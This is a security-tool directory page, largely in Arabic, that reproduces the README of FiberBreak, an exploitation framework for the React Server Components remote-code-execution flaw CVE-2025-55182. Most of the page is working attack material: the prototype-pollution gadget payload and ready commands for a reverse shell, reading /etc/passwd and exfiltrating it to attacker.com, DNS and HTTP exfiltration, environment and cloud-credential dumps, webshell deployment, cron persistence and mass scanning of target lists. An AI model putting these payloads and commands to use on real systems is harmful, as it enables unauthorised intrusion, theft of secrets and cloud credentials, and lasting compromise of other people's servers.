Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
FiberBreak — أداة استغلال React2Shell (CVE-2025-55182) | Kitploit
أدوات/GitHubGitHub/scumfrog/fiberbreak
الاستطلاعماسحات الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتسريب البياناتما بعد الاستغلالاختبار الاختراقأمن السحابةالقيادة والسيطرةالفريق الأحمرتطوير الحمولات
61منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
scumfrog/fiberbreak

FiberBreak

أداة استغلال React2Shell (CVE-2025-55182)

عرض المستودع

FiberBreak

إطار عمل استغلال لـ CVE-2025-55182 (React2Shell) - ثغرة تنفيذ كود عن بُعد (RCE) حرجة في مكونات خادم React.

نظرة عامة

  • CVE: CVE-2025-55182
  • CVSS: 10.0 (حرجة)
  • النوع: تنفيذ كود عن بُعد (RCE)
  • المتأثر: React 19.0.0-rc.0 إلى 19.0.0، Next.js 15.0.0 إلى 15.0.3
  • الاكتشاف: Lachlan Miller (SonarSource)
  • PoC العام: maple3142

التثبيت

# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

بدء سريع

# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

التفاصيل التقنية

نظرة عامة على الثغرة

CVE-2025-55182 هي ثغرة تنفيذ كود عن بُعد حرجة في مكونات خادم React (RSC) تتيح للمهاجمين غير المصادق عليهم تنفيذ كود تعسفي على الخادم.

السبب الجذري: يقوم بروتوكول React Flight بإلغاء تسلسل مدخلات العميل غير الموثوقة دون تحقق مناسب، مما يسمح للمهاجمين بصياغة حمولات خبيثة تستغل سلسلة النماذج الأولية في JavaScript ومنشئ الدوال (Function).

ناقل الهجوم: يرسل المهاجمون طلب POST مُصممًا بعناية من نوع multipart/form-data مع ترويسة Next-Action إلى أي نقطة نهاية RSC. تستغل الحمولة الخبيثة ما يلي:

  1. تلوث النماذج الأولية عبر الوصول إلى __proto__
  2. كشف منشئ الدوال عبر constructor:constructor
  3. إتمام الـ Promise لتشغيل تنفيذ الكود

تدفق الاستغلال

1. Attacker sends crafted POST request
   └─ multipart/form-data with malicious JSON
   └─ Next-Action header (any value)

2. Server deserializes payload
   └─ React processes RSC chunk format
   └─ Resolves Promise-like object

3. Gadget chain triggers
   └─ __proto__ access bypasses hasOwnProperty checks
   └─ constructor:constructor exposes Function()
   └─ _prefix executes arbitrary code

4. RCE achieved
   └─ Server executes attacker's JavaScript
   └─ Full system compromise

الحمولة (The Gadget)

{
  "then": "$1:__proto__:then",           // Prototype pollution
  "status": "resolved_model",            // Fake React internal state
  "reason": -1,                          // Trigger resolution
  "value": '{"then":"$B1337"}',         // Blob reference
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Executed code
    "_formData": {
      "get": "$1:constructor:constructor" // Function() access
    }
  }
}

مسار الكود المتأثر

// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Missing validation here allows malicious chunks
  if (value && typeof value.then === 'function') {
    // Attacker controls 'then' method
    value.then(/* ... */);
  }
}

الاستخدام

اكتشاف الثغرة

# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

الاستغلال الأساسي

# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

الاستغلال المتقدم

# Reverse shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

استغلال السحابة

# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

أنواع الحمولات

النوعالصيغةالوصفالمخرجات
simplecommandتنفيذ أي أمر قشرةأعمى (بدون إخراج)
outputcommand + --callbackتنفيذ مع استدعاء HTTPنعم
reverse_shelllhost:lportقشرة عكسية Bashتفاعلي
dns_exfilcmd:domain أو domainتسريب عبر DNSسجلات DNS
http_exfilcmd:callback_urlتسريب عبر HTTPHTTP POST
file_readfilepath:callbackقراءة ملف وتسريبهHTTP POST
write_filefilepath:contentكتابة ملف على القرصأعمى (بدون إخراج)
env_dumpcallback_urlتفريغ متغيرات البيئةHTTP POST
cloud_metadatacallback_urlاستخراج بيانات اعتماد السحابةHTTP POST
reconcallback_urlاستطلاع النظامHTTP POST
stealth_beacondomainمنارة DNS خفيةسجلات DNS
webshellfilepathنشر قشرة ويب Node.jsالمنفذ 8080
persistcallback_urlتثبيت استمرارية عبر cronوظيفة cron

سيناريوهات من العالم الحقيقي

صيد مكافآت الثغرات

# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Document findings without causing damage

اختبار الاختراق

# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

المسح الضوئي الشامل للثغرات

# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Generate report
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'

تقييم البنية التحتية السحابية

# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration

# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
  -c "https://attacker.com/gcp" -t cloud_metadata
تنزيل الأداة